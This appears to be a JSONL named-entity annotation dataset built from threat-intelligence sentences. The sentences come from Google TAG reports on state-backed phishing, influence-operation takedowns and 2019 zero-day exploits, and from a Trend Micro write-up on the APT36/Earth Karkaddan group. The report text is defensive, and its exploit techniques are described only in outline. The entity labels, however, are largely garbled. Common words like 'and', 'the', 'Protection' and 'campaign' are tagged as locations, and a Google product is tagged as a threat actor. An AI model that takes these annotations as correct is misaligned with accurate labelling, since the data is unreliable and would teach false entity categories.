-{"id":6841,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[{"id":21320,"label":"location","start_offset":4,"end_offset":9},{"id":21321,"label":"location","start_offset":78,"end_offset":82},{"id":21323,"label":"location","start_offset":120,"end_offset":123},{"id":21324,"label":"location","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":6842,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":21325,"label":"location","start_offset":66,"end_offset":76},{"id":21326,"label":"location","start_offset":109,"end_offset":117},{"id":21327,"label":"location","start_offset":123,"end_offset":126},{"id":21328,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":21329,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
 {"id":6843,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
-{"id":6844,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[{"id":21330,"label":"location","start_offset":101,"end_offset":104},{"id":21331,"label":"location","start_offset":176,"end_offset":179},{"id":21332,"label":"location","start_offset":275,"end_offset":278}],"relations":[],"Comments":[]}
 {"id":6845,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":21333,"label":"location","start_offset":13,"end_offset":16},{"id":21334,"label":"location","start_offset":47,"end_offset":55},{"id":21336,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":21337,"label":"location","start_offset":106,"end_offset":109},{"id":21338,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":21339,"label":"location","start_offset":203,"end_offset":206},{"id":21340,"label":"location","start_offset":242,"end_offset":245},{"id":21341,"label":"location","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
-{"id":6846,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[{"id":21342,"label":"location","start_offset":57,"end_offset":60},{"id":21343,"label":"location","start_offset":74,"end_offset":82},{"id":21344,"label":"location","start_offset":93,"end_offset":96},{"id":21346,"label":"location","start_offset":128,"end_offset":136},{"id":21347,"label":"location","start_offset":137,"end_offset":142},{"id":21348,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":6847,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.","entities":[{"id":21350,"label":"location","start_offset":145,"end_offset":152},{"id":21351,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":6848,"text":"We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.","entities":[{"id":21352,"label":"location","start_offset":57,"end_offset":61},{"id":21353,"label":"location","start_offset":70,"end_offset":73},{"id":21354,"label":"location","start_offset":84,"end_offset":92},{"id":21355,"label":"location","start_offset":105,"end_offset":108},{"id":21356,"label":"location","start_offset":147,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":6849,"text":"We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[{"id":21357,"label":"location","start_offset":66,"end_offset":69},{"id":21359,"label":"location","start_offset":113,"end_offset":116},{"id":21361,"label":"location","start_offset":283,"end_offset":286},{"id":21362,"label":"location","start_offset":287,"end_offset":295}],"relations":[],"Comments":[]}
-{"id":6850,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":21365,"label":"location","start_offset":76,"end_offset":79},{"id":21367,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":6851,"text":"Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":21372,"label":"location","start_offset":97,"end_offset":102},{"id":21373,"label":"location","start_offset":103,"end_offset":111},{"id":21374,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":6852,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[{"id":21375,"label":"location","start_offset":59,"end_offset":66},{"id":21376,"label":"location","start_offset":74,"end_offset":79},{"id":21378,"label":"location","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":6853,"text":"We’ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":21381,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":6854,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.","entities":[{"id":21384,"label":"location","start_offset":4,"end_offset":8},{"id":21385,"label":"location","start_offset":52,"end_offset":55},{"id":21386,"label":"location","start_offset":126,"end_offset":131},{"id":21387,"label":"location","start_offset":133,"end_offset":136},{"id":21388,"label":"location","start_offset":140,"end_offset":144},{"id":21389,"label":"location","start_offset":159,"end_offset":162},{"id":21390,"label":"location","start_offset":190,"end_offset":198},{"id":21391,"label":"location","start_offset":199,"end_offset":204},{"id":21392,"label":"location","start_offset":205,"end_offset":208},{"id":21393,"label":"location","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":6855,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":21394,"label":"location","start_offset":3,"end_offset":7},{"id":21395,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":21396,"label":"location","start_offset":91,"end_offset":94},{"id":21397,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":6856,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":6857,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":6858,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":6859,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.","entities":[{"id":21403,"label":"location","start_offset":4,"end_offset":12},{"id":21407,"label":"location","start_offset":108,"end_offset":111},{"id":21409,"label":"location","start_offset":133,"end_offset":140},{"id":21412,"label":"location","start_offset":175,"end_offset":178},{"id":21414,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":6860,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":6861,"text":"We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":21417,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":6862,"text":"The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":21421,"label":"location","start_offset":4,"end_offset":12},{"id":21422,"label":"location","start_offset":35,"end_offset":42},{"id":21427,"label":"location","start_offset":97,"end_offset":100},{"id":21429,"label":"location","start_offset":109,"end_offset":112},{"id":21431,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":6863,"text":"We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.","entities":[{"id":21433,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":6864,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":21436,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6865,"text":"We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.","entities":[{"id":21441,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":6866,"text":"The campaign was sharing messages in English supportive of Qatar.","entities":[{"id":21445,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":6867,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":21448,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6868,"text":"We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.","entities":[{"id":21451,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":6869,"text":"The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.","entities":[{"id":21454,"label":"location","start_offset":4,"end_offset":12},{"id":21455,"label":"location","start_offset":35,"end_offset":42},{"id":21458,"label":"location","start_offset":74,"end_offset":77},{"id":21460,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":6870,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21462,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6871,"text":"We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":21469,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":6872,"text":"The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":21472,"label":"location","start_offset":4,"end_offset":12},{"id":21473,"label":"location","start_offset":35,"end_offset":42},{"id":21478,"label":"location","start_offset":97,"end_offset":100},{"id":21480,"label":"location","start_offset":109,"end_offset":112},{"id":21482,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":6873,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21484,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6874,"text":"We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.","entities":[{"id":21487,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":6875,"text":"The domestic campaign was posting pro-Serbian political content.","entities":[{"id":21491,"label":"location","start_offset":4,"end_offset":12},{"id":21492,"label":"location","start_offset":13,"end_offset":21},{"id":21494,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":6876,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21495,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":6877,"text":"Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":21499,"label":"location","start_offset":62,"end_offset":70},{"id":21500,"label":"location","start_offset":111,"end_offset":114},{"id":21501,"label":"location","start_offset":115,"end_offset":119},{"id":21502,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":21503,"label":"location","start_offset":147,"end_offset":150},{"id":21505,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":6878,"text":"We work across Google products to identify new vulnerabilities and threats.","entities":[{"id":21507,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":6879,"text":"Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.","entities":[{"id":21509,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":6880,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":21511,"label":"location","start_offset":12,"end_offset":20},{"id":21512,"label":"location","start_offset":34,"end_offset":40},{"id":21514,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21516,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":6881,"text":"Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.","entities":[{"id":21517,"label":"location","start_offset":33,"end_offset":36},{"id":21518,"label":"location","start_offset":104,"end_offset":109},{"id":21519,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":6882,"text":"Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.","entities":[{"id":21520,"label":"attack-pattern","start_offset":60,"end_offset":68},{"id":21521,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":6883,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":21523,"label":"tools","start_offset":4,"end_offset":8},{"id":21524,"label":"location","start_offset":71,"end_offset":75},{"id":21525,"label":"location","start_offset":83,"end_offset":87},{"id":21526,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":6884,"text":"We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.","entities":[{"id":21528,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":6885,"text":"We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":21529,"label":"location","start_offset":141,"end_offset":148},{"id":21530,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":21531,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
-{"id":6886,"text":"In fact, we saw a slight decrease in overall volumes in March compared to January and February.","entities":[{"id":21532,"label":"location","start_offset":37,"end_offset":44},{"id":21535,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":6887,"text":"While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":21537,"label":"identity","start_offset":94,"end_offset":98},{"id":21538,"label":"location","start_offset":104,"end_offset":108},{"id":21539,"label":"location","start_offset":130,"end_offset":133},{"id":21540,"label":"location","start_offset":165,"end_offset":168},{"id":21541,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":6888,"text":"When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.","entities":[{"id":21542,"label":"location","start_offset":25,"end_offset":28},{"id":21543,"label":"location","start_offset":125,"end_offset":133},{"id":21544,"label":"location","start_offset":143,"end_offset":146},{"id":21545,"label":"location","start_offset":147,"end_offset":150},{"id":21546,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":6889,"text":"To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help  identify various vulnerabilities.","entities":[{"id":21547,"label":"location","start_offset":29,"end_offset":37},{"id":21548,"label":"location","start_offset":49,"end_offset":58},{"id":21551,"label":"location","start_offset":102,"end_offset":108},{"id":21552,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":6890,"text":"As the world continues to respond to COVID-19, we expect to see new lures and schemes.","entities":[{"id":21554,"label":"location","start_offset":7,"end_offset":12},{"id":21555,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":6891,"text":"Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.","entities":[{"id":21556,"label":"location","start_offset":34,"end_offset":37},{"id":21557,"label":"location","start_offset":38,"end_offset":42},{"id":21558,"label":"location","start_offset":43,"end_offset":47},{"id":21559,"label":"location","start_offset":73,"end_offset":76},{"id":21560,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":6892,"text":" Google’s Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and the people who use our products.","entities":[{"id":21563,"label":"location","start_offset":64,"end_offset":67},{"id":21565,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":6893,"text":"Following our November update, today we’re sharing the latest insights to fight phishing, and for security teams, providing more details about our work identifying attacks against zero-day vulnerabilities.","entities":[{"id":21568,"label":"attack-pattern","start_offset":80,"end_offset":88},{"id":21569,"label":"location","start_offset":90,"end_offset":93},{"id":21570,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":6894,"text":" We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":21572,"label":"location","start_offset":11,"end_offset":15},{"id":21573,"label":"location","start_offset":90,"end_offset":96},{"id":21574,"label":"attack-pattern","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":6895,"text":"In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.","entities":[],"relations":[],"Comments":[]}
-{"id":6896,"text":"One reason for this decline is that our new protections are working—attackers' efforts have been slowed down and they’re more deliberate in their attempts, meaning attempts are happening less frequently as attackers adapt.","entities":[{"id":21580,"label":"location","start_offset":56,"end_offset":59},{"id":21581,"label":"location","start_offset":109,"end_offset":112},{"id":21582,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
 {"id":6897,"text":" We’ve detected a few emerging trends in recent months.","entities":[],"relations":[],"Comments":[]}
 {"id":6898,"text":"Upon reviewing phishing attempts since the beginning of this year, we’ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.","entities":[{"id":21584,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":21587,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":6899,"text":"For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.","entities":[],"relations":[],"Comments":[]}
-{"id":6900,"text":"In other cases, attackers will send several benign emails to build a rapport with a journalist or foreign policy expert before sending a malicious attachment in a follow up email.","entities":[{"id":21589,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":6901,"text":"Government-backed attackers regularly target foreign policy experts for their research, access to the organizations they work with, and connection to fellow researchers or policymakers for subsequent attacks.","entities":[{"id":21590,"label":"location","start_offset":38,"end_offset":44},{"id":21591,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":6902,"text":"Government-backed attackers continue to consistently target geopolitical rivals, government officials, journalists, dissidents and activists.","entities":[{"id":21592,"label":"location","start_offset":53,"end_offset":59},{"id":21593,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":6903,"text":"The chart below details the Russian threat actor group SANDWORM’s targeting efforts (by sector) over the last three years.","entities":[],"relations":[],"Comments":[]}
 {"id":6904,"text":"In 2019, one in five accounts that received a warning was targeted multiple times by attackers.","entities":[],"relations":[],"Comments":[]}
-{"id":6905,"text":"If at first the attacker does not succeed, they’ll try again using a different lure, different account, or trying to compromise an associate of their target.","entities":[{"id":21601,"label":"location","start_offset":79,"end_offset":83},{"id":21602,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":6906,"text":"We’ve yet to see people successfully phished if they participate in Google’s Advanced Protection Program (APP), even if they are repeatedly targeted.","entities":[{"id":21604,"label":"location","start_offset":86,"end_offset":96},{"id":21605,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":6907,"text":"APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.","entities":[{"id":21606,"label":"attack-pattern","start_offset":57,"end_offset":65},{"id":21607,"label":"location","start_offset":66,"end_offset":69},{"id":21608,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":6908,"text":"Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":21610,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":6909,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":21611,"label":"location","start_offset":25,"end_offset":28},{"id":21612,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":6910,"text":"TAG actively hunts for these types of attacks because they are particularly dangerous and have a high rate of success, although they account for a small number of the overall total.","entities":[{"id":21613,"label":"location","start_offset":59,"end_offset":62},{"id":21614,"label":"location","start_offset":86,"end_offset":89},{"id":21615,"label":"location","start_offset":110,"end_offset":117},{"id":21616,"label":"location","start_offset":147,"end_offset":152},{"id":21617,"label":"location","start_offset":167,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":6911,"text":"When we find an attack that takes advantage of  a zero-day vulnerability, we report the vulnerability to the vendor and give them seven days to patch or produce an advisory or we release an advisory ourselves.","entities":[{"id":21619,"label":"location","start_offset":109,"end_offset":115},{"id":21620,"label":"location","start_offset":116,"end_offset":119},{"id":21621,"label":"location","start_offset":120,"end_offset":124},{"id":21622,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":6912,"text":"We work across all platforms, and in 2019 TAG discovered zero-day vulnerabilities affecting Android, Chrome, iOS, Internet Explorer and Windows.","entities":[{"id":21624,"label":"location","start_offset":30,"end_offset":33},{"id":21628,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":6913,"text":"Most recently, TAG was acknowledged in January 2020 for our contribution in identifying CVE-2020-0674, a remote code execution vulnerability in Internet Explorer.","entities":[{"id":21629,"label":"location","start_offset":0,"end_offset":4},{"id":21631,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":6914,"text":"Last year, TAG discovered that a single threat actor was capitalizing on five zero-day vulnerabilities.","entities":[],"relations":[],"Comments":[]}
-{"id":6915,"text":"Finding this many zero-day exploits from the same actor in a relatively short time frame is rare.","entities":[{"id":21635,"label":"location","start_offset":13,"end_offset":17},{"id":21637,"label":"location","start_offset":45,"end_offset":49},{"id":21638,"label":"location","start_offset":72,"end_offset":77},{"id":21639,"label":"location","start_offset":78,"end_offset":82},{"id":21640,"label":"location","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":6916,"text":"The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.","entities":[{"id":21641,"label":"location","start_offset":79,"end_offset":83},{"id":21642,"label":"location","start_offset":123,"end_offset":126},{"id":21643,"label":"attack-pattern","start_offset":156,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":6917,"text":"The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.","entities":[],"relations":[],"Comments":[]}
-{"id":6918,"text":"For security teams interested in learning more, here are additional details about the exploits and our work in 2019:","entities":[{"id":21646,"label":"location","start_offset":4,"end_offset":12},{"id":21647,"label":"location","start_offset":53,"end_offset":56},{"id":21648,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":6919,"text":"The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429","entities":[],"relations":[],"Comments":[]}
-{"id":6920,"text":"The following technical details are associated with the exploits and can be used for teams interested in conducting further research on these attacks: CVE-2018-8653, CVE-2019-1367 and CVE-2020-0674 are vulnerabilities inside jscript.dll, therefore all exploits enabled IE8 rendering and used JScript.Compact as JS engine.","entities":[{"id":21650,"label":"location","start_offset":32,"end_offset":35},{"id":21651,"label":"location","start_offset":65,"end_offset":68},{"id":21652,"label":"location","start_offset":69,"end_offset":72},{"id":21653,"label":"location","start_offset":180,"end_offset":183},{"id":21654,"label":"location","start_offset":198,"end_offset":201},{"id":21655,"label":"location","start_offset":283,"end_offset":286}],"relations":[],"Comments":[]}
-{"id":6921,"text":"In most Internet Explorer exploits, attackers abused the Enumerator object in order to gain remote code execution.","entities":[{"id":21656,"label":"location","start_offset":3,"end_offset":7},{"id":21657,"label":"location","start_offset":92,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":6922,"text":"To escape from the Internet Explorer EPM sandbox, exploits used a technique consisting of replaying the same vulnerability inside svchost by abusing Web Proxy Auto-Discovery (WPad) Service.","entities":[{"id":21658,"label":"location","start_offset":104,"end_offset":108},{"id":21659,"label":"location","start_offset":159,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":6923,"text":"Attackers abused this technique with CVE-2020-0674 on Firefox to escape the sandbox after exploiting CVE-2019-17026.","entities":[{"id":21660,"label":"location","start_offset":110,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":6924,"text":"CVE-2019-0676 is a variant of CVE-2017-0022, CVE-2016-3298, CVE-2016-0162 and CVE-2016-3351 where the vulnerability resided inside the handling of “res:\/\/” URI scheme.","entities":[{"id":21661,"label":"location","start_offset":74,"end_offset":77},{"id":21662,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":6925,"text":"Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim’s computer; this information was later used to decide whether or not a second stage exploit should be delivered.","entities":[],"relations":[],"Comments":[]}
 {"id":6926,"text":"The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.","entities":[{"id":21664,"label":"tools","start_offset":11,"end_offset":17},{"id":21666,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":6927,"text":"Our Threat Analyst Group will continue to identify bad actors and share relevant information with others in the industry.","entities":[{"id":21667,"label":"location","start_offset":25,"end_offset":29},{"id":21668,"label":"location","start_offset":62,"end_offset":65},{"id":21669,"label":"location","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":6928,"text":"Our goal is to bring awareness to these issues to protect you and fight bad actors to prevent future attacks.","entities":[{"id":21670,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":6929,"text":"In a future update, we’ll provide details on attackers using lures related to COVID-19 and expected behavior we’re observing (all within the normal range of attacker activity).","entities":[{"id":21671,"label":"location","start_offset":87,"end_offset":90},{"id":21672,"label":"location","start_offset":141,"end_offset":147},{"id":21673,"label":"location","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":6930,"text":"APT36, also known as Earth Karkaddan, a politically motivated advanced persistent threat (APT) group, has historically targeted Indian military and diplomatic resources.","entities":[{"id":21676,"label":"location","start_offset":90,"end_offset":93},{"id":21678,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":6931,"text":"This APT group (also referred to as Operation C-Major, PROJECTM, Mythic Leopard, and Transparent Tribe) has been known to use social engineering and phishing lures as an entry point, after which, it deploys the Crimson RAT malware to steal information from its victims.","entities":[{"id":21681,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":21683,"label":"location","start_offset":81,"end_offset":84},{"id":21685,"label":"location","start_offset":145,"end_offset":148},{"id":21686,"label":"attack-pattern","start_offset":149,"end_offset":157},{"id":21687,"label":"location","start_offset":176,"end_offset":181}],"relations":[],"Comments":[]}
 {"id":6932,"text":"In late 2021, we saw the group leverage CapraRAT, an Android RAT with clear similarities in design to the group’s favored Windows malware, Crimson RAT.","entities":[{"id":21690,"label":"malware","start_offset":31,"end_offset":39},{"id":21692,"label":"malware","start_offset":53,"end_offset":64},{"id":21693,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":6933,"text":"It is interesting to see the degree of crossover in terms of function names, commands, and capabilities between the tools, which we cover in more detail in our technical brief, “Earth Karkaddan APT.”","entities":[{"id":21695,"label":"location","start_offset":87,"end_offset":90},{"id":21696,"label":"location","start_offset":104,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":6934,"text":"Our investigation is based on Trend Micro Smart Protection Network (SPN) data gathered from January 2020 to September 2021.","entities":[{"id":21699,"label":"location","start_offset":48,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":6935,"text":"Looking into one of Earth Karkaddan’s recent campaigns Typically, Earth Karkaddan’s arrival methods include the use of spear-phishing emails and a USB worm that would then drop and execute a remote access trojan (RAT).      Figure 1. Earth Karkaddan’s attack chain      ","entities":[{"id":21704,"label":"location","start_offset":119,"end_offset":124},{"id":21705,"label":"attack-pattern","start_offset":125,"end_offset":133},{"id":21706,"label":"location","start_offset":141,"end_offset":144},{"id":21707,"label":"location","start_offset":177,"end_offset":180},{"id":21708,"label":"location","start_offset":191,"end_offset":197},{"id":21710,"label":"location","start_offset":234,"end_offset":239}],"relations":[],"Comments":[]}
-{"id":6936,"text":"The malicious emails feature a variety of lures to deceive victims into downloading malware, including fraudulent government documents, honeytraps showing profiles of attractive women, and recently, coronavirus-themed information.         Figure 2. An example","entities":[{"id":21711,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
 {"id":6937,"text":"of a fake government-related spear-phishing email","entities":[{"id":21713,"label":"location","start_offset":29,"end_offset":34},{"id":21714,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
